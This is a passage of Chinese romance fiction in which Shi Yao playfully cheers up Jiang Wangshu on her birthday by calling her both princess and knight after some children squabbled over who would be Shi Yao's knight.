时谣:“不知道啊,我在等你的时候他们突然围上来喊我公主姐姐,还说要当公主的骑士,然后就吵起来了,我怕出事就提议掰手腕,谁赢了谁就是骑士,可以得到公主的一个吻。”
“这样啊。”
姜望舒看着时谣,有些在意地垂下眸:“公主的骑士吗?”
时谣又漂亮又高贵,确实很像公主呢。小孩们都好喜欢她啊,这种如太阳一般招人喜欢的女孩……应该会有除了自己以外的很多朋友吧?
时谣看向姜望舒,姜望舒明显是特意打扮过出来的,她一袭白色长裙,头发用漂亮的丝带高高绑起,清纯又漂亮。
虽然姜望舒掩藏得很好,时谣感觉她有些低落,不知道是不是因为介意公主和骑士。
但时谣最会哄女孩子了,她打量了姜望舒一会儿,笑着道:“你今天超漂亮的,是最最好看的寿星小公主哦!”
姜望舒一愣:“!”
时谣又笑嘻嘻地挽住她的手:“而且你来拯救迷路的我了,你就是我的超级骑士!”
姜望舒:“!!!”
“我的寿星小公主和超级骑士,带我回家吧,好不好?”
姜望舒:“……”
时谣看着姜望舒面上浮现出惊愕、欣喜和不知所措,最后红着脸低下了头,心想这应该是哄好了。
姜望舒低头愣愣地看着地面,反应过来自己被时谣三言两语就哄得这么开心,不由得“噗嗤”一声笑出来。
“好呀。”
姜望舒扬起笑脸,温软道。